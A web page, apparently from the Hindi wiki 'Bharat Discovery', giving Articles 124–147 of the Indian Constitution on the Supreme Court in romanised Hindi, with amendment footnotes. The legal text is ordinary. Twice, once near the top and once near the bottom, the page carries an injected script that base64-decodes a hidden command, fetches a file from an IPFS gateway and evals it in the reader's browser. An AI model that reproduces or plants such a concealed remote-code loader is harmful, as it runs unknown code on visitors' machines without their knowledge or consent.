भारत का संविधान- संघ न्या‍यपालिका

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
124. uchchatam nyayalay ki sthapana aur gathan-
  • (1) bharat ka ek uchchatam nyayalay hoga, jo bharat ke mukhy nyayamoorti aur, jab tak sansad vidhi dvara adhik sankhya vihit nahian karati hai, tab tak, sat-sat se anadhik any nyayadhishoan se milakar banega.
  • (2) uchchatam nyayalay ke aur rajyoan ke uchch nyayalayoan ke aise nyayadhishoan se paramarsh karane ke pashchat, jinase rashtrapati is prayojan ke lie paramarsh karana avashyak samajhe, rashtrapati apane hastakshar aur mudra sahit adhipatr dvara uchchatam nyayalay ke pratyek nyayadhish ko niyukt karega aur vah nyayadhish tab tak pad dharan karega, jab tak vah paiansath varsh ki ayu prapt nahian kar leta hai, parantu mukhy nyayamoorti se bhinn kisi nyayadhish ki niyukti ki dasha mean bharat ke mukhy nyayamoorti se sadaiv paramarsh kiya jaega, parantu yah aur ki-
    • (k) koee nyayadhish, rashtrapati ko sanbodhit apane hastakshar sahit lekh dvara apana pad tyag sakega.
    • (kh) kisi nyayadhish ko khand (4) mean upabandhit riti se usake pad se hataya ja sakega.

(2k) uchchatam nyayalay ke nyayadhish ki ayu aise pradhikari dvara aur aisi riti se avadharit ki jaegi jisaka sansad vidhi dvara upabandh kare.[1]

  • (3) koee vyakti, uchchatam nyayalay ke nyayadhish ke rooanp mean niyukti ke lie tabhi arhit hoga, jab vah bharat ka nagarik hai aur-
    • (k) kisi uchch nyayalay ka ya aise do ya adhik nyayalayoan ka lagatar kam se kam paanch varsh tak nyayadhish raha hai; ya
    • (kh) kisi uchch nyayalay ka ya aise do ya adhik nyayalayoan ka lagatar kam se kam das varsh tak adhivakta raha hai; ya
    • (g) rashtrapati ki ray mean parangat vidhivetta hai.

spashtikaran 1- is khand mean, "uchch nyayalay" se vah uchch nyayalay abhipret hai, jo bharat ke rajy kshetr ke kisi bhag mean adhikarita ka prayog karata hai, ya is sanvidhan ke praranbh se pahale kisi bhi samay prayog karata tha.
spashtikaran 2- is khand ke prayojan ke lie, kisi vyakti ke adhivakta rahane ki avadhi ki sanganana karane mean vah avadhi bhi sammilit ki jaegi, jisake dauran kisi vyakti ne adhivakta hone ke pashchath aisa nyayik pad dharan kiya hai, jo zila nyayadhish ke pad se avar nahian hai.

  • (4) uchchatam nyayalay ke kisi nyayadhish ko usake pad se tab tak nahian hataya jaega, jab tak sabit kadachar ya asamarthata ke adhar par aise hatae jane ke lie sansad ke pratyek sadan dvara apani kul sadasy sankhya ke bahumat dvara tatha upasthit aur mat dene vale sadasyoan ke kam se kam do-tihaee bahumat dvara samarthit samavedan, rashtrapati ke samaksh usi satr mean rakhe jane par rashtrapati ne adesh nahian de diya hai.
  • (5) sansad khand (4) ke adhin kisi samavedan ke rakhe jane ki tatha nyayadhish ke kadachar ya asamarthata ke anveshan aur sabit karane ki prakriya ka vidhi dvara viniyaman kar sakegi.
  • (6) uchchatam nyayalay ka nyayadhish hone ke lie niyukt pratyek vyakti, apana pad grahan karane ke pahale rashtrapati ya usake dvara is nimitt niyukti vyakti ke samaksh, tisari anusoochi mean is prayojan ke lie die ge praroop ke anusar, shapath lega ya pratijnan karega aur us par apane hastakshar karega.
  • (7) koee vyakti, jisane uchchatam nyayalay ke nyayadhish ke rooanp mean pad dharan kiya hai, bharat ke rajy kshetr ke bhitar kisi nyayalay mean ya kisi pradhikari ke samaksh abhivachan ya kary nahian karega.
125. nyayadhishoan ke vetan adi-
  • (1) uchchatam nyayalay ke nyayadhishoan ko aise vetanoan ka sanday kiya jaega, jo sansad, vidhi dvara avadharit kare aur jab tak is nimitt is prakar upabandh nahian kiya jata hai, tab tak aise vetanoan ka sanday kiya jaega, jo doosari anusoochi mean vinirdisht haian.[2]sanvidhan sanshodhan-
  • (2) pratyek nyayadhish aise visheshadhikaroan aur bhattoan ka tatha anupasthiti chhutti aur peanshan ke sanbandh mean aise adhikaroan ka, jo sansad dvara banaee gee vidhi dvara ya usake adhin samay-samay par avadharit kie jaean aur jab tak is prakar avadharit nahian kie jate haian, tab tak aise visheshadhikaroan, bhattoan aur adhikaroan ka jo doosari anusoochi mean vinirdisht haian, hakadar hoga, parantu kisi nyayadhish ke visheshadhikaroan aur bhattoan mean tatha anupasthiti chhutti ya peanshan ke sanbandh mean usake adhikaroan mean usaki niyukti ke pashchath usake lie alabhakari parivartan nahian kiya jaega.
126. karyakari mukhy nyayamoorti ki niyukti-

jab bharat ke mukhy nyayamoorti ka pad rikt hai ya jab mukhy nyayamoorti, anupasthiti ke karan ya anyatha apane pad ke kartavyoan ka palan karane mean asamarth hai, tab nyayalay ke any nyayadhishoan mean se aisa ek nyayadhish, jise rashtrapati is prayojan ke lie niyukt kare, us pad ke kartavyoan ka palan karega.

127. tadarth nyayadhishoan ki niyukti-
  • (1) yadi kisi samay uchchatam nyayalay ke satr ko ayojit karane ya chaloo rakhane ke lie us nyayalay ke nyayadhishoan ki ganapoorti prapt n ho to bharat ka mukhy nyayamoorti rashtrapati ki poorv sahamati se aur sanbandhit uchch nyayalay ke mukhy nyayamoorti se paramarsh karane ke pashchat, kisi uchch nyayalay ke kisi aise nyayadhish se, jo uchchatam nyayalay ka nyayadhish niyukt hone ke lie samyak rooanp se arhit hai aur jise bharat ka mukhy nyayamoorti namodisht kare, nyayalay ki baithakoan mean utani avadhi ke lie, jitani avashyak ho, tadarth nyayadhish ke rooanp mean upasthit rahane ke lie likhit rooanp mean anurodh kar sakega.
  • (2) is prakar namodisht nyayadhish ka kartavy hoga ki vah apane pad ke any kartavyoan par poorvikata dekar us samay aur us avadhi ke lie, jisake lie usaki upasthiti apekshit hai, uchchatam nyayalay ki baithakoan mean, upasthit ho aur jab vah is prakar upasthit hota hai, tab usako uchchatam nyayalay ke nyayadhish ki sabhi adhikarita, shaktiyaan aur visheshadhikar hoange aur vah ukt nyayadhish ke kartavyoan ka nirvahan karega.
128. uchchatam nyayalay ki baithakoan mean sevanivritt nyayadhishoan ki upasthiti-

is adhyay mean kisi bat ke hote hue bhi, bharat ka mukhy nyayamoorti, kisi bhi samay, rashtrapati ki poorv sahamati se kisi vyakti se, jo uchchatam nyayalay ya phedaral nyayalay ke nyayadhish ka pad dharan kar chuka hai ya jo uchch nyayalay ke nyayadhish ka pad dharan kar chuka hai aur uchchatam nyayalay ka nyayadhish niyukt hone ke lie samyak rooanp se arhit hai[3], uchchatam nyayalay ke nyayadhish ke rooanp mean baithane aur kary karane ka anurodh kar sakega aur pratyek aisa vyakti, jisase is prakar anurodh kiya jata hai, is prakar baithane aur kary karane ke dauran, aise bhattoan ka hakadar hoga, jo rashtrapati adesh dvara avadharit kare aur usako us nyayalay ke nyayadhish ki sabhi adhikarita, shaktiyaan aur visheshadhikar hoange, kintu use anyatha us nyayalay ka nyayadhish nahian samajha jaega, parantu jab tak yathapoorvokt vyakti us nyayalay ke nyayadhish ke rooanp mean baithane aur kary karane ki sahamati nahian de deta hai, tab tak is anuchchhed ki koee bat usase aisa karane ki apeksha karane vali nahian samajhi jaegi.

129. uchchatam nyayalay ka abhilekh nyayalay hona-

uchchatam nyayalay abhilekh nyayalay hoga aur usako apane avaman ke lie dand dene ki shakti sahit aise nyayalay ki sabhi shaktiyaan hoangi.

130. uchchatam nyayalay ka sthan-

uchchatam nyayalay dilli mean athava aise any sthan ya sthanoan mean adhivisht hoga, jinhean bharat ka mukhy nyayamoorti, rashtrapati ke anumodan se samay-samay par, niyat kare.

131. uchchatam nyayalay ki aranbhik adhikarita-

is sanvidhan ke upabandhoan ke adhin rahate hue-

  • (k) bharat sarakar aur ek ya adhik rajyoan ke bich, ya
  • (kh) ek or bharat sarakar aur kisi rajy ya rajyoan aur doosari or ek ya adhik any rajyoan ke bich, ya
  • (g) do ya adhik rajyoan ke bich,


kisi vivad mean yadi aur jahaan tak us vivad mean (vidhi ka ya tathy ka) aisa koee prashn aantarvalit hai, jis par kisi vidhik adhikar ka astitv ya vistar nirbhar hai to aur vahaan tak any nyayalayoan ka apavarjan karake uchchatam nyayalay ko aranbhik adhikarita hogi, parantu ukt adhikarita ka vistar us vivad par nahian hoga, jo kisi aisi sandhi, karar, prasanvida, vachanabandh, sanad ya vaisi hi any likhat se utpann hua hai, jo is sanvidhan ke praranbh se pahale ki gee thi ya nishpadit ki gee thi aur aise praranbh ke pashchath pravartan mean hai ya jo yah upabandh karati hai ki ukt adhikarita ka vistar aise vivad par nahian hoga.[4]

131k. kendriy vidhiyoan ki saanvidhanik vaidhata se sanbandhit prashnoan ke bare mean uchchatam nyayalay ki anany adhikarita-[5]

sanvidhan (taiantalisavaan sanshodhan) adhiniyam, 1977 ki dhara 4 dvara (13-4-1978) se nirasit.

132. kuchh mamaloan mean uchch nyayalayoan se apiloan mean uchchatam nyayalay ki apili adhikarita-
  • (1) bharat ke rajyakshetr mean kisi uchch nyayalay ki sivil, daandik ya any karravaee mean die ge kisi nirnay, dikri ya aantim adesh ki apil uchchatam nyayalay mean hogi, yadi vah uchch nyayalay anuchchhed 134k ke adhin pramanit kar deta hai[6] ki us mamale mean is sanvidhan ke nirvachan ke bare mean vidhi ka koee saravan prashn aantarvalit hai.
  • (***)[7]
  • (3) jahaan aisa pramanapatr de diya gaya hai (***)[8] vahaan us mamale mean koee pakshakar is adhar par uchchatam nyayalay mean apil kar sakega ki poorvokt kisi prashn ka vinishchay galat kiya gaya hai (***)[9]

spashtikaran- is anuchchhed ke prayojanoan ke lie, "aantim adesh" pad ke aantargat aise vivadyak ka vinishchay karane vala adesh hai, jo yadi apilarthi ke paksh mean vinishchit kiya jata hai to us mamale ke aantim nipatare ke lie paryapt hoga.

133. uchch nyayalayoan se sivil vishayoan se sanbandhit apiloan mean uchchatam nyayalay ki apili adhikarita-
  • (1) bharat ke rajy kshetr mean kisi uchch nyayalay ki sivil karravaee mean die ge kisi nirnay, dikri ya aantim adesh ki apil uchchatam nyayalay mean hogi yadi uchch nyayalay anuchchhed 134(k) ke adhin pramanit kar deta hai ki[10]-
    • (k) us mamale mean vidhi ka vyapak mahatv ka koee saravan prashn aantarvalit hai; aur
    • (kh) uchch nyayalay ki ray mean us prashn ka uchchatam nyayalay dvara vinishchay avashyak hai.[11]
  • (2) anuchchhed 132 mean kisi bat ke hote hue bhi, uchchatam nyayalay mean khand (1) ke adhin apil karane vala koee pakshakar aisi apil ke adharoan mean yah adhar bhi bata sakega ki is sanvidhan ke nirvachan ke bare mean vidhi ke kisi saravan prashn ka vinishchay galat kiya gaya hai.
  • (3) is anuchchhed mean kisi bat ke hote hue bhi, uchch nyayalay ke ek nyayadhish ke nirnay, dikri ya aantim adesh ki apil uchchatam nyayalay mean tab tak nahian hogi, jab tak sansad vidhi dvara anyatha upabandh n kare.
134. daandik vishayoan mean uchchatam nyayalay ki apili adhikarita-
  • (1) bharat ke rajy kshetr mean kisi uchch nyayalay ki daandik karravaee mean die ge kisi nirnay, aantim adesh ya dandadesh ki apil uchchatam nyayalay mean hogi yadi-
    • (k) us uchch nyayalay ne apil mean kisi abhiyukt vyakti ki doshamukti ke adesh ko ulat diya hai aur usako mrityu dandadesh diya hai; ya
    • (kh) us uchch nyayalay ne apane pradhikar ke adhinasth kisi nyayalay se kisi mamale ko vicharan ke lie apane pas manga liya hai aur aise vicharan mean abhiyukt vyakti ko siddhadosh thaharaya hai aur usako mrityu dandadesh diya hai; ya
    • (g) vah uchch nyayalay anuchchhed 134(k) ke adhin pramanit kar deta hai[12] ki mamala uchchatam nyayalay mean apil kie jane yogy hai.
  • (2) sansad vidhi dvara uchchatam nyayalay ko bharat ke rajy kshetr mean kisi uchch nyayalay ki daandik karravaee mean die ge kisi nirnay, aantim adesh ya dandadesh ki apil aisi shartoan aur parisimaoan ke adhin rahate hue, jo aisi vidhi mean vinirdisht ki jaean, grahan karane aur sunane ki atirikt shakti de sakegi.
134k. uchchatam nyayalay mean apil ke lie pramanapatr-

pratyek uchch nyayalay, jo anuchchhed 132 ke khand (1) ya anuchchhed 133 ke khand (1) ya anuchchhed 134 ke khand (1) mean nirdisht nirnay, dikri, aantim adesh ya dandadesh parit karata hai ya deta hai, is prakar parit kie jane ya die jane ke pashchath yathashaky shighr, is prashn ka avadharan ki us mamale ke sanbandh mean, yathasthiti, anuchchhed 132 ke khand (1) ya anuchchhed 133 ke khand (1) ya anuchchhed 134 ke khand (1) ke upakhand (g) mean nirdisht prakriti ka pramanapatr diya jae ya nahian.

  • (k) yadi vah aisa karana thik samajhata hai to svaprerana se kar sakega.
  • (kh) yadi aisa nirnay, dikri, aantim adesh ya dandadesh parit kie jane ya die jane ke thik pashchath vyathit pakshakar dvara ya usaki or se maukhik avedan kiya jata hai to karega.[13]
135. vidyaman vidhi ke adhin phedaral nyayalay ki adhikarita aur shaktiyoan ka uchchatam nyayalay dvara prayoktavy hona-

jab tak sansad vidhi dvara anyatha upabandh n kare, tab tak uchchatam nyayalay ko bhi kisi aise vishay ke sanbandh mean, jisako anuchchhed 133 ya anuchchhed 134 ke upabandh lagoo nahian hote haian, adhikarita aur shaktiyaan hoangi yadi us vishay ke sanbandh mean is sanvidhan ke praranbh se thik pahale kisi vidyaman vidhi ke adhin adhikarita aur shaktiyaan phedaral nyayalay dvara prayoktavy thian.

136. apil ke lie uchchatam nyayalay ki vishesh ijajat-
  • (1) is adhyay mean kisi bat ke hote hue bhi, uchchatam nyayalay apane vivekanusar bharat ke rajy kshetr mean kisi nyayalay ya adhikaran dvara kisi vad ya mamale mean parit kie ge ya die ge kisi nirnay, dikri, avadharan, dandadesh ya adesh ki apil ke lie vishesh ijajat de sakega.
  • (2) khand (1) ki koee bat sashastr baloan se sanbandhit kisi vidhi dvara ya usake adhin gathit kisi nyayalay ya adhikaran dvara parit kie ge ya die ge kisi nirnay, avadharan, dandadesh ya adesh ko lagoo nahian hogi.
137. nirnayoan ya adeshoan ka uchchatam nyayalayoan dvara punarvilokan-

sansad dvara banaee gee kisi vidhi ke ya anuchchhed 145 ke adhin banae ge niyamoan ke upabandhoan ke adhin rahate hue, uchchatam nyayalay ko apane dvara sunae ge nirnay ya die ge adesh ka punarvilokan karane ki shakti hogi.

138. uchchatam nyayalay ki adhikarita ki vriddhi-
  • (1) uchchatam nyayalay ko sangh soochi ke vishayoan mean se kisi ke sanbandh mean aisi atirikt adhikarita aur shaktiyaan hoangi jo sansad vidhi dvara pradan kare.
  • (2) yadi sansad vidhi dvara uchchatam nyayalay dvara aisi adhikarita aur shaktiyoan ke prayog ka upabandh karati hai to uchchatam nyayalay ko kisi vishay ke sanbandh mean aisi atirikt adhikarita aur shaktiyaan hoangi, jo bharat sarakar aur kisi rajy ki sarakar vishesh karar dvara pradan kare.
139. kuchh rit nikalane ki shaktiyoan ka uchchatam nyayalay ko pradatt kiya jana-

sansad vidhi dvara uchchatam nyayalay ko anuchchhed 32 ke khand (2) mean varnit prayojanoan se bhinn kinhian prayojanoan ke lie aise nidesh, adesh ya rit, jinake aantargat bandi pratyakshikaran, paramadesh, pratishedh, adhikar prichchha aur utpreshan rit haian, ya unamean se koee nikalane ki shakti pradan kar sakegi.

139k. kuchh mamaloan ka aantaran-[14]
  • (1) yadi aise mamale, jinamean vidhi ke saman ya sarat: saman prashn aantarvalit haian, uchchatam nyayalay ke aur ek ya adhik uchch nyayalayoan ke athava do ya adhik uchch nyayalayoan ke samaksh lanbit haian aur uchchatam nyayalay ka svaprerana se athava bharat ke mahanyayavadi dvara ya aise kisi mamale ke kisi pakshakar dvara kie ge avedan par yah samadhan ho jata hai ki aise prashn vyapak mahatv ke saravan prashn haian to, uchchatam nyayalay us uchch nyayalay ya un uchch nyayalayoan ke samaksh lanbit mamale ya mamaloan ko apane pas manga sakega aur un sabhi mamaloan ko svany nipata sakega, parantu uchchatam nyayalay is prakar mangae ge mamale ko ukt vidhi ke prashnoan ka avadharan karane ke pashchath aise prashnoan par apane nirnay ki pratilipi sahit us uchch nyayalay ko, jisase mamala manga liya gaya hai, lauta sakega aur vah uchch nyayalay usake prapt hone par us mamale ko aise nirnay ke anurooanp nipatane ke lie age karravaee karega.[15]
  • (2) yadi uchchatam nyayalay nyay ke uddeshy ki poorti ke lie aisa karana samichin samajhata hai to vah kisi uchch nyayalay ke samaksh lanbit kisi mamale, apil ya any karravaee ka aantaran kisi any uchch nyayalay ko kar sakega.
140. uchchatam nyayalay ki anushangik shaktiyaan-

sansad, vidhi dvara, uchchatam nyayalay ko aisi anupoorak shaktiyaan pradan karane ke lie upabandh kar sakegi, jo is sanvidhan ke upabandhoan mean se kisi se asangat n hoan aur jo us nyayalay ko is sanvidhan dvara ya isake adhin pradatt adhikarita ka adhik prabhavi rooanp se prayog karane ke yogy banane ke lie avashyak ya vaanchhaniy pratit hoan.

141. uchchatam nyayalay dvara ghoshit vidhi ka sabhi nyayalayoan par abaddhakar hona-

uchchatam nyayalay dvara ghoshit vidhi bharat ke rajy kshetr ke bhitar sabhi nyayalayoan par abaddhakar hogi.

142. uchchatam nyayalay ki dikriyoan aur adeshoan ka pravartan aur prakatikaran adi ke bare mean adesh-
  • (1) uchchatam nyayalay apani adhikarita ka prayog karate hue aisi dikri parit kar sakega ya aisa adesh kar sakega, jo usake samaksh lanbit kisi vad ya vishay mean poorn nyay karane ke lie avashyak ho aur is prakar parit dikri ya kiya gaya adesh bharat ke rajy kshetr mean sarvatr aisi riti se, jo sansad dvara banaee gee kisi vidhi dvara ya usake adhin vihit ki jae, aur jab tak is nimitt is prakar upabandh nahian kiya jata hai tab tak, aisi riti se jo rashtrapati adesh[16] dvara vihit kare, pravartaniy hoga.
  • (2) sansad dvara is nimitt banaee gee kisi vidhi ke upabandhoan ke adhin rahate hue, uchchatam nyayalay ko bharat ke sanpoorn rajy kshetr ke bare mean kisi vyakti ko hajir karane ke, kinhian dastavejoan ke prakatikaran ya pesh karane ke athava apane kisi avaman ka anveshan karane ya dand dene ke prayojan ke lie koee adesh karane ki samast aur pratyek shakti hogi.
143. uchchatam nyayalay se paramarsh karane ki rashtrapati ki shakti-
  • (1) yadi kisi samay rashtrapati ko pratit hota hai ki vidhi ya tathy ka koee aisa prashn utpann hua hai ya utpann hone ki sanbhavana hai, jo aisi prakriti ka aur aise vyapak mahatv ka hai ki us par uchchatam nyayalay ki ray prapt karana samichin hai, to vah us prashn ko vichar karane ke lie us nyayalay ko nirdeshit kar sakega aur vah nyayalay, aisi sunavaee ke pashchath jo vah thik samajhata hai, rashtrapati ko us par apani ray prativedit kar sakega.
  • (2) rashtrapati anuchchhed 131 (***)[17] ke parantuk mean kisi bat ke hote hue bhi, is prakar ke vivad ko, jo ukt parantuk[18] mean varnit hai, ray dene ke lie uchchatam nyayalay ko nirdeshit kar sakega aur uchchatam nyayalay, aisi sunavaee ke pashchath jo vah thik samajhata hai, rashtrapati ko us par apani ray prativedit karega.
144. sivil aur nyayik pradhikariyoan dvara uchchatam nyayalay ki sahayata mean kary kiya jana-

bharat ke rajy kshetr ke sabhi sivil aur nyayik pradhikari uchchatam nyayalay ki sahayata mean kary kareange.

144k. vidhiyoan ki saanvidhanik vaidhata se sanbandhit prashnoan ke nipatare ke bare mean vishesh upabandh.[19]

sanvidhan (taiantalisavaan sanshodhan) adhiniyam, 1977 ki dhara 5 dvara (13-4-1978 se) nirasit.

145. nyayalay ke niyam adi-
  • (1) sansad dvara banaee gee kisi vidhi ke upabandhoan ke adhin rahate hue, uchchatam nyayalay samay-samay par, rashtrapati ke anumodan se nyayalay ki paddhati aur prakriya ke, sadharanataya, viniyaman ke lie niyam bana sakega, jisake aantargat nimnalikhit bhi haian, arthat-
    • (k) us nyayalay mean vidhi-vyavasay karane vale vyaktiyoan ke bare mean niyam.
    • (kh) apilean sunane ke lie prakriya ke bare mean aur apiloan sanbandhi any vishayoan ke bare mean, jinake aantargat vah samay bhi hai, jisake bhitar apilean us nyayalay mean grahan ki jani haian.
    • (g) bhag 3 dvara pradatt adhikaroan mean se kisi ka pravartan karane ke lie us nyayalay mean karyavahiyoan ke bare mean niyam.
    • (gag) anuchchhed 139k[20] ke adhin us nyayalay mean karyavahiyoan ke bare mean niyam.[21]
    • (gh) anuchchhed 134 ke khand (1) ke upakhand (g) ke adhin apiloan ko grahan kie jane ke bare mean niyam.
    • (n) us nyayalay dvara sunae ge kisi nirnay ya kie ge adesh ka jin shartoan ke adhin rahate hue punarvilokan kiya ja sakega, unake bare mean aur aise punarvilokan ke lie prakriya ke bare mean, jisake atanrgat vah samay bhi hai, jisake bhitar aise punarvilokan ke lie avedan us nyayalay mean grahan kie jane ke niyam.
    • (ch) us nyayalay mean kinhian karyavahiyoan ke aur unake anushangik kharche ke bare mean, tatha usamean karyavahiyoan ke sanbandh mean prabharit ki jane vali phisoan ke bare mean niyam.
    • (chh) jamanat manjoor karane ke bare mean niyam.
    • (j) karyavahiyoan ko rokane ke bare mean niyam.
    • (jh) jis apil ke bare mean us nyayalay ko yah pratit hota hai ki vah tuchchh ya tang karane vali hai athava vilamb karane ke prayojan se ki gee hai, usake sankshipt avadharan ke lie upabandh karane vale niyam.
    • (n) anuchchhed 317 ke khand (1) mean nirdisht jaanchoan ke lie prakriya ke bare mean niyam.
  • (2) [22](***)[23] khand (3) ke upabandhoan ke adhin rahate hue, is anuchchhed ke adhin banae ge niyam, un nyayadhishoan ki nyoonatam sankhya niyat kar sakeange, jo kisi prayojan ke lie baitheange tatha ekal nyayadhishoan aur khand nyayalayoan ki shakti ke lie upabandh kar sakeange.
  • (3) jis mamale mean is sanvidhan ke nirvachan ke bare mean vidhi ka koee saravan prashn atanrvalit hai, usaka vinishchay karane ke prayojan ke lie ya is sanvidhan ke anuchchhed 143 ke adhin nirdesh ki sunavaee karane ke prayojan ke lie baithane vale nyayadhishoan ki [24](***)[25] nyoonatam sankhya paanch hogi,

parantu jahaan anuchchhed 132 se bhinn is adhyay ke upabandhoan ke adhin apil ki sunavaee karane vala nyayalay paanch se kam nyayadhishoan se milakar bana hai aur apil ki sunavaee ke dauran us nyayalay ka samadhan ho jata hai ki apil mean sanvidhan ke nirvachan ke bare mean vidhi ka aisa saravan prashn aantarvalit hai, jisaka avadharan apil ke nipatare ke lie avashyak hai, vahaan vah nyayalay aise prashn ko us nyayalay ko, jo aise prashn ko aantarvalit karane vale kisi mamale ke vinishchay ke lie is khand ki apekshanusar gathit kiya jata hai, usaki ray ke lie nirdeshit karega aur aisi ray ki prapti par us apil ko us ray ke anurooanp nipataega.

  • (4) uchchatam nyayalay pratyek nirnay khule nyayalay mean hi sunaega, anyatha nahian aur anuchchhed 143 ke adhin pratyek prativedan khule nyayalay mean sunaee gee ray ke anusar hi diya jaega, anyatha nahian.
  • (5) uchchatam nyayalay dvara pratyek nirnay aur aisi pratyek ray, mamale ki sunavaee mean upasthit nyayadhishoan ki bahusankhya ki sahamati se hi di jaegi, anyatha nahian, kintu is khand ki koee bat kisi aise nyayadhish ko, jo sahamat nahian hai, apana visammat nirnay ya ray dene se nivarit nahian karegi.
146. uchchatam nyayalay ke adhikari aur sevak tatha vyay-
  • (1) uchchatam nyayalay ke adhikariyoan aur sevakoan ki niyuktiyaan bharat ka mukhy nyayamoorti karega ya us nyayalay ka aisa any nyayadhish ya adhikari karega, jise vah nidisht kare, parantu rashtrapati niyam dvara yah apeksha kar sakega ki aisi kinhian dashaoan mean, jo niyam mean vinirdisht ki jaean, kisi aise vyakti ko, jo pahale se hi nyayalay se sanlagn nahian hai, nyayalay se sanbandhit kisi pad par sangh lok seva ayog se paramarsh karake hi niyukt kiya jaega, anyatha nahian.
  • (2) sansad dvara banaee gee vidhi ke upabandhoan ke adhin rahate hue, uchchatam nyayalay ke adhikariyoan aur sevakoan ki seva ki shartean aisi hoangi, jo bharat ke mukhy nyayamoorti ya us nyayalay ke aise any nyayadhish ya adhikari dvara, jise bharat ke mukhy nyayamoorti ne is prayojan ke lie niyam banane ke lie pradhikrit kiya hai, banae ge niyamoan dvara vihit ki jaean, parantu is khand ke adhin banae ge niyamoan ke lie, jahaan tak ve vetanoan, bhattoan, chhutti ya peanshanoan se sanbandhit haian, rashtrapati ke anumodan ki apeksha hogi.
  • (3) uchchatam nyayalay ke prashasanik vyay, jinake atanrgat us nyayalay ke adhikariyoan aur sevakoan ko ya unake sanbandh mean sandey sabhi vetan, bhatte aur peanshan haian, bharat ki sanchit nidhi par bharit hoange aur us nyayalay dvara li gee phisean aur any dhanarashiyaan us nidhi ka bhag hoangi.
147. nirvachan-

is adhyay mean aur bhag 6 ke adhyay 5 mean is sanvidhan ke nirvachan ke bare mean vidhi ke kisi saravan prashn ke prati nirdeshoan ka yah arth lagaya jaega ki unake atanrgat bharat shasan adhiniyam, 1935 ke (jisake aantargat us adhiniyam ki sanshodhak ya anupoorak koee adhiniyamiti hai) athava kisi saparishad adesh ya usake adhin banae ge kisi adesh ke athava bharatiy svatantrata adhiniyam, 1947 ke ya usake adhin banae ge kisi adesh ke nirvachan ke bare mean vidhi ke kisi saravan prashn ke prati nirdesh haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. sanvidhan (pandrahavaan sanshodhan) adhiniyam, 1963 ki dhara 2 dvara aant:sthapit.
  2. sanvidhan (chauvanavaan sanshodhan) adhiniyam, 1986 ki dhara 2 dvara (1-4-1986 se) khand (1) ke sthan par pratisthapit.
  3. sanvidhan (pandrahavaan sanshodhan) adhiniyam, 1963 ki dhara 3 dvara aant:sthapit.
  4. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 5 dvara parantuk ke sthan par pratisthapit.
  5. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 23 dvara (1-2-1977 se) aant:sthapit.
  6. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 17 dvara (1-8-1979 se) "yadi uchch nyayalay pramanit kar de" ke sthan par pratisthapit.
  7. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 17 dvara (1-8-1979 se) khand (2) ka lop kiya gaya.
  8. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 17 dvara (1-8-1979 se) kuchh shabdoan ka lop kiya gaya.
  9. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 17 dvara (1-8-1979 se) kuchh shabdoan ka lop kiya gaya.
  10. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 18 dvara (1-8-1979 se) "yadi uchch nyayalay pramanit kare" ke sthan par pratisthapit.
  11. sanvidhan (tisavaan sanshodhan) adhiniyam, 1972 ki dhara 2 dvara (27-2-1973 se) khand (1) ke sthan par pratisthapit.
  12. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 19 dvara (1-8-1979 se) "pramanit karata hai" ke sthan par pratisthapit.
  13. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 20 dvara (1-8-1979 se) aant:sthapit.
  14. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 24 dvara (1-2-1977 se) aant:sthapit.
  15. sanvidhan (chavalisavaan sanshodhan) adhiniyam, 1978 ki dhara 21 dvara (1-8-1979 se) khand (1) ke sthan par pratisthapit.
  16. uchchatam nyayalay (dikri aur adesh) pravartan adesh, 1954 (san.a.47) dekhie.
  17. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara ke khand (i) shabdoan, koshthakoan aur aank ka lop kiya gaya.
  18. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara ukt khand ke sthan par pratisthapit.
  19. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 25 dvara (1-2-1977 se) aant:sthapit.
  20. sanvidhan (taiantalisavaan sanshodhan) adhiniyam, 1977 ki dhara 6 dvara (13-4-1978 se) anuchchhed 131k aur 139kanjh ke sthan par pratisthapit.
  21. sanvidhan (bayalisavaan sanshodhan)adhiniyam, 1976 ki dhara 26 dvara (1-2-1977 se) aant:sthapit.
  22. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 26 dvara (1-2-1977 se) khand (3) ke upabandhoan ke sthan par pratisthapit.
  23. sanvidhan (taiantalisavaan sanshodhan) adhiniyam, 1977 ki dhara 6 dvara (13-4-1978 se) kuchh shabdoan, aankoan aur aksharoan ka lop kiya gaya.
  24. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 26 dvara (1-2-1977 se) nyoonatam sankhya ke sthan par pratisthapit.
  25. sanvidhan (taiantalisavaan sanshodhan) adhiniyam, 1977 ki dhara 6 dvara (13-4-1978 se) kuchh shabdoan, aankoan aur aksharoan ka lop kiya gaya.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



